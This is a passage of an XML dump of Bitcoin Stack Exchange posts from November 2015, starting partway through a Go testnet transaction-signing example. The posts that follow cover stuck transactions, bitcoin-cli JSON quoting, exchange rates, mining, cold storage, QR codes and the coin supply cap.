:= btcutil.Hash160(serializedPubKey)&#xA;    addr, err := btcutil.NewAddressPubKeyHash(pubKeyHash,&#xA;        &amp;amp;chaincfg.TestNet3Params)&#xA;    if err != nil {&#xA;        fmt.Println(err)&#xA;        return&#xA;    }&#xA;&#xA;    txStr, err := hex.DecodeString(&quot;&amp;lt;testnet tx that contains the utxo in hex here&amp;gt;&quot;)&#xA;&#xA;    if err != nil {&#xA;        fmt.Println(err)&#xA;        return&#xA;    }&#xA;&#xA;    rbuf := bytes.NewReader(txStr)&#xA;    var originTx wire.MsgTx&#xA;    err = originTx.Deserialize(rbuf)&#xA;    if err != nil {&#xA;        fmt.Printf(&quot;Deserialize error %v\n&quot;, err)&#xA;        return&#xA;    }&#xA;    originTxHash := originTx.TxSha()&#xA;&#xA;    // Create the transaction to redeem the fake transaction.&#xA;    redeemTx := wire.NewMsgTx()&#xA;&#xA;    // Add the input(s) the redeeming transaction will spend.  There is no&#xA;    // signature script at this point since it hasn't been created or signed&#xA;    // yet, hence nil is provided for it.&#xA;    prevOut := wire.NewOutPoint(&amp;amp;originTxHash, 0)&#xA;    txIn := wire.NewTxIn(prevOut, nil)&#xA;    txIn.Sequence = 0&#xA;    redeemTx.AddTxIn(txIn)&#xA;&#xA;    addr2, err := btcutil.DecodeAddress(&quot;&amp;lt;destination testnet addr here&amp;gt;&quot;,&#xA;        &amp;amp;chaincfg.TestNet3Params)&#xA;    if err != nil {&#xA;        fmt.Println(err)&#xA;        return&#xA;    }&#xA;    pkScript, err := txscript.PayToAddrScript(addr2)&#xA;    if err != nil {&#xA;        fmt.Println(err)&#xA;        return&#xA;    }&#xA;&#xA;    txOut := wire.NewTxOut(93889960000, pkScript)&#xA;    redeemTx.AddTxOut(txOut)&#xA;&#xA;    // unix time of when the tx output will be unlocked here&#xA;    redeemTx.LockTime = 1442802900&#xA;&#xA;    // Sign the redeeming transaction.&#xA;    lookupKey := func(a btcutil.Address) (*btcec.PrivateKey, bool, error) {&#xA;        // Ordinarily this function would involve looking up the private&#xA;        // key for the provided address, but since the only thing being&#xA;        // signed in this example uses the address associated with the&#xA;        // private key from above, simply return it with the compressed&#xA;        // flag set since the address is using the associated compressed&#xA;        // public key.&#xA;        //&#xA;        // NOTE: If you want to prove the code is actually signing the&#xA;        // transaction properly, uncomment the following line which&#xA;        // intentionally returns an invalid key to sign with, which in&#xA;        // turn will result in a failure during the script execution&#xA;        // when verifying the signature.&#xA;        //&#xA;        // privKey.D.SetInt64(12345)&#xA;        return privKey, compressed, nil&#xA;    }&#xA;    // Notice that the script database parameter is nil here since it isn't&#xA;    // used.  It must be specified when pay-to-script-hash transactions are&#xA;    // being signed.&#xA;    sigScript, err := txscript.SignTxOutput(&amp;amp;chaincfg.TestNet3Params,&#xA;        redeemTx, 0, originTx.TxOut[0].PkScript, txscript.SigHashAll,&#xA;        txscript.KeyClosure(lookupKey), nil, nil)&#xA;    if err != nil {&#xA;        fmt.Println(err)&#xA;        return&#xA;    }&#xA;    redeemTx.TxIn[0].SignatureScript = sigScript&#xA;&#xA;    var buf bytes.Buffer&#xA;    err = redeemTx.Serialize(&amp;amp;buf)&#xA;    if err != nil {&#xA;        fmt.Printf(&quot;Serialize error %v&quot;, err)&#xA;        return&#xA;    }&#xA;&#xA;    // Prove that the transaction has been validly signed by executing the&#xA;    // script pair.&#xA;    flags := txscript.ScriptBip16 | txscript.ScriptVerifyDERSignatures |&#xA;        txscript.ScriptStrictMultiSig |&#xA;        txscript.ScriptDiscourageUpgradableNops&#xA;    vm, err := txscript.NewEngine(originTx.TxOut[0].PkScript, redeemTx, 0,&#xA;        flags)&#xA;    if err != nil {&#xA;        fmt.Println(err)&#xA;        return&#xA;    }&#xA;    if err := vm.Execute(); err != nil {&#xA;        fmt.Println(err)&#xA;        return&#xA;    }&#xA;&#xA;    fmt.Printf(&quot;Transaction successfully signed %v\n&quot;, hex.EncodeToString(buf.Bytes()))&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="23123" LastEditDate="2015-11-05T23:29:17.137" LastActivityDate="2015-11-05T23:29:17.137" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41243" PostTypeId="1" CreationDate="2015-11-06T07:34:10.760" Score="2" ViewCount="233" Body="&lt;p&gt;&lt;a href=&quot;https://blockexplorer.com/tx/286fefb79f1b0a14526997e8c7bcb4bd7a5665c953586f6bbcd09e441b192d3f&quot; rel=&quot;nofollow&quot;&gt;https://blockexplorer.com/tx/286fefb79f1b0a14526997e8c7bcb4bd7a5665c953586f6bbcd09e441b192d3f&lt;/a&gt; this is my transaction blockchain hash&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is first time I've actually seen something like this - the buyer sent me $200 (at least he says) and the $250 came to my wallet but $50 is Unauthorized or something like that. The transfer is seems to be stuck in limbo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to wait - I asked about it on LBC they have no idea...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody explain to me in what circumstances can a processing transaction become stuck?&#xA;If this transaction does process will it transfer to my wallet or reverse to sender account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this situation avoidable and how long it at maximum could it take?&#xA;A simple explanation would be great I'm a beginner btc user.&lt;/p&gt;&#xA;" OwnerUserId="30363" LastEditorUserId="5406" LastEditDate="2015-11-06T14:47:39.220" LastActivityDate="2015-11-06T14:47:39.220" Title="Why is this transaction stuck?" Tags="|blockchain|hash|confirmations|unconfirmed-transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41244" PostTypeId="2" ParentId="38767" CreationDate="2015-11-06T07:53:53.557" Score="-1" Body="&lt;p&gt;It &lt;em&gt;IS&lt;/em&gt; a problem - the synchronization time and size of the blockchain is too long and large, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for many other business it may be OK because not too many transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There needs to be a solution for bitcoin, blockchain size and synchronization times. It's the main reason I do not use bitcoin.  &lt;/p&gt;&#xA;" OwnerUserId="30369" LastEditorUserId="29646" LastEditDate="2015-11-06T14:31:49.217" LastActivityDate="2015-11-06T14:31:49.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41245" PostTypeId="1" AcceptedAnswerId="41246" CreationDate="2015-11-06T10:24:31.017" Score="3" ViewCount="2445" Body="&lt;p&gt;I am simulating a bitcoin network on my machine for which I have written a bash script to simulate the transactions between the nodes. When I use the &lt;code&gt;sendmany&lt;/code&gt; option of &lt;code&gt;bitcoin-cli&lt;/code&gt; to send transactions I am getting an json parsing error reported by &lt;code&gt;bitcoin-cli&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;MAX_NODES=2&#xA;MY_PATH=/home/ubuntu/test&#xA;CLIENT=/usr/local/bin/bitcoin-cli&#xA;&#xA;declare -a addr&#xA;&#xA;function fcomp() {&#xA;        /usr/bin/awk -v n1=$1 -v n2=$2 'BEGIN{ if (n1&amp;gt;n2) exit 0; exit 1}'&#xA;}&#xA;&#xA;json=&quot;'{&quot;&#xA;&#xA;#get addresses to send&#xA;for ((i = 1; i &amp;lt;= MAX_NODES; i++));&#xA;do&#xA;    addr[$i-1]=&quot;$($CLIENT -regtest -rpcport=$((16500 + $i)) -datadir=$MY_PATH/$i/ getnewaddress myaccount)&quot;&#xA;    if [ &quot;$i&quot; -lt &quot;$MAX_NODES&quot; ]&#xA;    then&#xA;        json=&quot;$json\&quot;${addr[$i-1]}\&quot;:0.00001, &quot;&#xA;    else&#xA;        json=&quot;$json\&quot;${addr[$i-1]}\&quot;:0.00001&quot;&#xA;    fi&#xA;done&#xA;&#xA;json=&quot;$json}'&quot;&#xA;echo $json&#xA;&#xA;#loop to send money to other nodes&#xA;for ((i = 1; i &amp;lt;= MAX_NODES; i++));&#xA;do&#xA;        balance=`$CLIENT -regtest -rpcport=$((16500 + $i)) -datadir=$MY_PATH/$i/ getbalance`&#xA;        if fcomp $balance 0.002; then&#xA;                $CLIENT -regtest -rpcport=$((16500 + $i)) -datadir=$MY_PATH/$i sendmany myaccount $json&#xA;    fi&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;echo json output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'{&quot;mj2FrDhEomSzyQtRoGY78oVRPcQs5L5o95&quot;:0.00001, &quot;mkxnkT3kx9dsFS8V3qYydpL1o5F5MfwCvM&quot;:0.00001}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me an error as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: Error parsing JSON:'{&quot;mj2FrDhEomSzyQtRoGY78oVRPcQs5L5o95&quot;:0.00001,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried all possible combinations of quotes, double quotes and escape sequences but failed. If I copy paste the output of &lt;code&gt;echo $json&lt;/code&gt; to a manual &lt;code&gt;bitcoin-cli sendmany&lt;/code&gt; command it works perfectly fine.&lt;/p&gt;&#xA;" OwnerUserId="29691" LastEditorUserId="29691" LastEditDate="2015-11-06T10:31:57.377" LastActivityDate="2016-05-04T18:19:55.700" Title="Bitcoin: error parsing json in bashscript to send BTC using sendmany command" Tags="|bitcoind|bash|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41246" PostTypeId="2" ParentId="41245" CreationDate="2015-11-06T13:05:57.460" Score="1" Body="&lt;p&gt;If this is your echo output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'{&quot;mj2FrDhEomSzyQtRoGY78oVRPcQs5L5o95&quot;:0.00001, &quot;mkxnkT3kx9dsFS8V3qYydpL1o5F5MfwCvM&quot;:0.00001}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you have too many quotes.  When you run echo, you should see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;mj2FrDhEomSzyQtRoGY78oVRPcQs5L5o95&quot;:0.00001, &quot;mkxnkT3kx9dsFS8V3qYydpL1o5F5MfwCvM&quot;:0.00001}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's because the shell strips off the outer set of quotes; it does that when you send the JSON to bitcoin-cli too.  Because you have the quotes there in the echo output, it implies that they're there in the bitcoin-cli command, so what you're sending Bitcoin Core looks like a JSON string rather than a JSON object.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This isn't asked in your question, but you might also want to look into the Debian/Ubuntu packages and commands named &lt;code&gt;jshon&lt;/code&gt; and &lt;code&gt;jq&lt;/code&gt;.  These help you process JSON in shell scripts.  Because they understand JSON, they tend to be a lot more robust the &lt;code&gt;sed&lt;/code&gt; and &lt;code&gt;awk&lt;/code&gt;.  I don't know if you need them for this script, however.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-11-06T13:05:57.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41247" PostTypeId="2" ParentId="40732" CreationDate="2015-11-06T13:31:08.417" Score="1" Body="&lt;p&gt;Well, I found the answer, in a interview with Digital Currency Group CEO Barry Silbert you can read about here: &lt;a href=&quot;http://coinjournal.net/barry-silbert-on-why-private-permissioned-blockchains-will-fail/&quot; rel=&quot;nofollow&quot;&gt;http://coinjournal.net/barry-silbert-on-why-private-permissioned-blockchains-will-fail/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically he says banks are too slow and don't cooperate well together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;“There’s a lot of talk; there’s a lot of interest, but anybody who has worked on systems at banks can tell you it takes two years to deploy any basic system. So, we’re five [to] ten years out from any of these efforts actually turning into a product that can be used, and while that’s happening, it is my belief that the Bitcoin blockchain is going to address a lot of the issues that were mentioned before around security and scalability. Ultimately, the innovation that’s going to happen, which will be adopted by the banks, is going to be done outside of the banks.”&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="27976" LastActivityDate="2015-11-06T13:31:08.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41248" PostTypeId="1" CreationDate="2015-11-06T13:53:58.703" Score="2" ViewCount="479" Body="&lt;p&gt;What is the value of 1 bitcoin in USD, today? Where can the exchange rate be looked up?&lt;/p&gt;&#xA;" OwnerUserId="30371" LastEditorUserId="5406" LastEditDate="2015-11-06T14:21:41.413" LastActivityDate="2015-11-15T17:55:19.860" Title="How can I find out the current exchange rate of Bitcoin/USD?" Tags="|exchange-rate|buy-bitcoins|sell-bitcoins|" AnswerCount="4" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41249" PostTypeId="2" ParentId="41243" CreationDate="2015-11-06T13:58:20.093" Score="1" Body="&lt;p&gt;The transaction spends an output which itself is unconfirmed, it means there's a chain of requirement back two transactions which may or may not be completed. In this case, one previously must be confirmed before this one can enter a block. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If this finally process will it transfer to my wallet or reverse to sender account?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It may be confirmed, it may never be confirmed, or it may be invalidated by a double spend, there's no way of knowing this in advance. In general this is why the advice is to never give payment for an unconfirmed transaction, until it has a reasonable number of confirmations there is no assurance it will ever confirm. With LocalBitcoins in particular there is an internal escrow tool which you can use to avoid this in the future. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-11-06T13:58:20.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41250" PostTypeId="2" ParentId="41248" CreationDate="2015-11-06T13:59:04.570" Score="0" Body="&lt;p&gt;The price is constantly changing so this answer will vary quite a bit even within a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At time of writing (Nov 2015) the price is $375.40 per 1 bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$1.00 should be ~0.0027 bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check price at anytime by going to:&#xA;&lt;a href=&quot;http://www.coindesk.com/price/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/price/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Price per USA dollar in bitcoin would just be ~ (1 / bitcoin price).&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="2306" LastEditDate="2015-11-06T17:52:56.287" LastActivityDate="2015-11-06T17:52:56.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41253" PostTypeId="1" CreationDate="2015-11-06T17:24:28.803" Score="4" ViewCount="2762" Body="&lt;p&gt;Does anyone know of any of the best Bitcoin Mining Software? I have been looking for mining software for a while, but I can't seem to find any. I'm using Windows 8 if that helps. &lt;/p&gt;&#xA;" OwnerUserId="26677" LastEditorUserId="5406" LastEditDate="2016-02-04T13:04:52.037" LastActivityDate="2017-11-16T04:49:05.597" Title="Good Bitcoin Mining Software?" Tags="|mining-software|" AnswerCount="1" CommentCount="5" ClosedDate="2017-11-18T11:35:59.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="41254" PostTypeId="2" ParentId="41253" CreationDate="2015-11-06T17:34:21.837" Score="4" Body="&lt;p&gt;The only two that I know of are &lt;a href=&quot;https://en.bitcoin.it/wiki/CGMiner&quot; rel=&quot;nofollow&quot;&gt;cgminer&lt;/a&gt; and &lt;a href=&quot;http://bfgminer.org/&quot; rel=&quot;nofollow&quot;&gt;bfgminer&lt;/a&gt;. Unless you have specialized mining equipment (read: ASICs) or mining on testnet, mining is not going to be a good idea.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-06T17:34:21.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41255" PostTypeId="1" CreationDate="2015-11-06T17:57:03.773" Score="3" ViewCount="361" Body="&lt;p&gt;As an example, assume a block has 10 transactions with a total value of 1BTC.&#xA;Does a miner get 25 BTC for validating and committing that 1BTC? What's the economics of this model?&lt;/p&gt;&#xA;" OwnerUserId="30377" LastEditorUserId="5406" LastEditDate="2016-02-21T15:48:19.640" LastActivityDate="2016-02-21T15:48:19.640" Title="How do transaction volume and block reward relate?" Tags="|transaction-fees|economic-theory|mining-reward|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41256" PostTypeId="1" CreationDate="2015-11-06T18:54:05.900" Score="3" ViewCount="324" Body="&lt;p&gt;I'm planning to store some bitcoins in cold storage. I'm doing a very simple setup, no complicated algorithms, no wallets...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my plan&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an air-gapped machine with a Linux distro. The machine won't have access to Internet and I'll disable wifi/mobile connection on purpose to be sure that no Internet is available.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy 4 files to the air-gapped machine using a microSD card. The first archive has a version of &quot;coinb.in&quot; which will help me create transactions. The second archive has a &quot;bitcoin.sh&quot; file which is a set of bash functions to create bitcoins addresses. The third archive, is a small HTML/JS qrcode generator. The forth file is the diceware words list.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the air-gapped machine, create the mighty bitcoin address. I'm going to use a brainwallet with the following format (or a variation of it)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SALT (5 char) + 10 Diceware words + My Password (10 char) + SALT (5 char)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;The passphrase will be hashed one time with SHA-256. The resulting Hex. will be used as the private key. Generate the address/public-key with the bitcoin utility.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the Qr-Code generator, create a qrcode of the bitcoin address. Now I use my mobile phone to scan the QrCode and send a few millibits to that address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using my connected laptop, I retrieve the Transaction id and Script of the transaction that I made. I write those down on paper. I then go to my air-gapped machine and I enter these information to create the transaction and sign it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once signed, I use my qrcode utility again to create a qrcode of the transaction raw HEX code. I then use my mobile phone to scan that QrCode and send it to my pc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I check that the transaction is valid and I broadcast the transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Some precaution I'll be taking:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure that the Wifi is not running when the air-gapped machine is running.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When scanning the QrCode, make sure that the private key is not visible somewhere in the screen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So this is the setup that I implemented. I'm wondering if I missed something or something is possibly at risk. Since the setup is tested, I'm here referring to the problem of funds being stolen by cracking my passphrase or infecting my air-gapped machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas and critics welcome!&lt;/p&gt;&#xA;" OwnerUserId="3704" LastEditorUserId="3704" LastEditDate="2015-11-06T19:00:18.873" LastActivityDate="2015-12-06T20:01:54.947" Title="Cold storage for bitcoins" Tags="|coldstorage|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="41257" PostTypeId="2" ParentId="41255" CreationDate="2015-11-06T19:02:42.150" Score="0" Body="&lt;p&gt;Yes, every block gets 25 BTC (at least until sometime next year). The big thing to remember is that each block gets generated about every 10 minutes. The supply of bitcoins being generated is finite (less than 21 million total). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The BTC amount in the transactions in a given block doesn't matter to the overall economics since the amount generated over the lifetime is 21 million no matter what.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-06T19:02:42.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41258" PostTypeId="2" ParentId="41256" CreationDate="2015-11-06T19:06:13.220" Score="1" Body="&lt;p&gt;Omar, you can do almost everything you want there with Armory using the offline feature. The offline, air-gapped computer can create the private key and store it there. The watch-only wallet on the internet connected computer can create transactions to be signed by the offline computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a security standpoint, it's generally better to use something a lot of other people have used before than creating your own process.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-06T19:06:13.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41259" PostTypeId="1" CreationDate="2015-11-06T20:50:28.753" Score="1" ViewCount="73" Body="&lt;p&gt;I generated a Bitcoin address from a site and made payment to that address from my PM through an exchange site. The problem is the bitcoin wallet had &quot;h&quot; at the end of it, but I missed it when typing the wallet for payment. The address I intended on sending the payment to has not received the payment due to this error. Have I lost the bitcoin that was sent? I have tried communicating with the exchange site but no luck and the site I was hoping to send payment to has not responded to my emails either.&lt;/p&gt;&#xA;" OwnerUserId="30380" LastEditorUserId="29646" LastEditDate="2015-11-06T23:34:23.360" LastActivityDate="2015-11-06T23:34:23.360" Title="Missed a letter on the bitcoin address when sending" Tags="|transactions|" AnswerCount="0" CommentCount="1" ClosedDate="2015-11-07T01:19:54.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="41260" PostTypeId="1" AcceptedAnswerId="41264" CreationDate="2015-11-06T20:57:31.010" Score="2" ViewCount="365" Body="&lt;p&gt;Was wondering is there a javascript widget or library that turns any BTC address on a website into a popup QR code on hover? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-11-10T06:00:55.637" Title="Is there a website widget or javascript library that turns any Bitcoin address into a clickable widget?" Tags="|javascript|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41261" PostTypeId="2" ParentId="41255" CreationDate="2015-11-06T21:48:16.987" Score="1" Body="&lt;p&gt;Yes, the miner gets 25BTC regardless of the value of the bitcoins in the block. And yes, if blocks were all that small the economics would not make sense at all, but they are not that small, they are almost always much larger. Still, 25BTC per block works out at around $10 per transaction processed at the moment. Which is still an interesting number and is presently funded by the continuing investment flowing into the Bitcoin economy.&lt;/p&gt;&#xA;" OwnerUserId="14236" LastActivityDate="2015-11-06T21:48:16.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41262" PostTypeId="2" ParentId="41255" CreationDate="2015-11-06T23:19:01.107" Score="1" Body="&lt;p&gt;The purpose of mining is not just to validate blocks and receive some fees. It's actually a decentralized way of buying bitcoins without any exchange or third party. Free of regulation and censorship. All you have to do is prove that you did some work. So you end up paying in electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's also why it's called mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want Bitcoins, either you do the work or you pay someone else to do the work for you. Notice that's how Bitcoins become worth something in USD or EUR.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-11-06T23:19:01.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41263" PostTypeId="1" AcceptedAnswerId="41265" CreationDate="2015-11-06T23:40:13.197" Score="4" ViewCount="186" Body="&lt;p&gt;A few people I know compare bitcoin and gold regarding currencies with integrity; Martin Armstrong on Zero Hedge compared both in a recent post.  One advantage I currently see that bitcoin has over gold is the cost to verify is much lower; it costs more to make sure that I've received legitimate gold than it does to verify that I've received a legitimate bitcoin.  But this depends on the cryptography always being legitimate - what if in the future someone cracks it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would happen if someone in the future is able to &lt;em&gt;crack&lt;/em&gt; bitcoin's cryptography?  Does the system adapt at this point (and can it?)?&lt;/p&gt;&#xA;" OwnerUserId="30383" LastActivityDate="2015-11-07T00:35:43.720" Title="Bitcoin's Cryptographic Integrity" Tags="|cryptography|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41264" PostTypeId="2" ParentId="41260" CreationDate="2015-11-07T00:26:58.353" Score="1" Body="&lt;p&gt;You can create a QR code for any bitcoin address using Google's QR code maker:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://chart.googleapis.com/chart?chs=250x250&amp;amp;cht=qr&amp;amp;chl=bitcoin:[your-bitcoin-address-here]&quot; rel=&quot;nofollow&quot;&gt;https://chart.googleapis.com/chart?chs=250x250&amp;amp;cht=qr&amp;amp;chl=bitcoin:[your-bitcoin-address-here]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just point to that as the img src and you'll get something that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://chart.googleapis.com/chart?chs=250x250&amp;amp;cht=qr&amp;amp;chl=bitcoin:1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note this address is used by a lot of tests as the private key is literally &quot;1&quot;.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-07T00:26:58.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41265" PostTypeId="2" ParentId="41263" CreationDate="2015-11-07T00:35:43.720" Score="1" Body="&lt;p&gt;There are several layers to bitcoin's cryptography:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;ECDSA. Elliptical curves, specifically the problem of solving discrete logs is well-known to be a difficult problem. The particular curve that bitcoin uses is secp256k1. If that particular curve is cracked, there would probably be some sort of patch to change the curve in bitcoin, which if the other two things aren't cracked, should have a reasonable chance of success as people can migrate coins encrypted with the new curve. If Elliptical Curves in general are cracked, then the other two things securing bitcoins are still there. Also, many websites would be compromised right away, including banking sites and credit card verifications as they rely on this encryption as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;SHA256. If SHA256 were cracked, that is, if you were able to generate a source for any particular SHA256 hash, this would probably not mean much by itself. There are other algorithms that can replace this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;RIPEMD160. Again, if this were cracked, it's useless without the ECDSA cracking. There are other algorithms that can replace this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If any one of these things is cracked, there would most likely be a hard fork to move everything over to a different hash. It wouldn't be pretty, but it would be possible.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-07T00:35:43.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41266" PostTypeId="1" AcceptedAnswerId="41267" CreationDate="2015-11-07T01:05:14.370" Score="2" ViewCount="199" Body="&lt;p&gt;The maximum number of bitcoins that can exist is 21 million. New bitcoins are made by confirming that transactions happened. Every 4 years the amount of bitcoins people get when they solve a block is halved. When you keep on halving something you never get zero, so someone will always get paid some amount of bitcoins, but the max number of bitcoins that can exist is 21 million. So how is the total number of bitcoins not going to go over 21 million?&lt;/p&gt;&#xA;" OwnerUserId="30384" LastEditorUserId="5406" LastEditDate="2015-11-07T15:52:59.070" LastActivityDate="2015-11-07T15:52:59.070" Title="How come the block reward keeps only getting halved but there is an upper limit for bitcoins in existance?" Tags="|reward-schedule|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41267" PostTypeId="2" ParentId="41266" CreationDate="2015-11-07T01:08:14.030" Score="2" Body="&lt;p&gt;This is more a math question, but basically, the sum is a geometric series:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Geometric_series&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Geometric_series&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/2 + 1/4 + 1/8 + 1/16 + ... = 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's basically what's happening here except with 21 million instead of 1.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-07T01:08:14.030" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
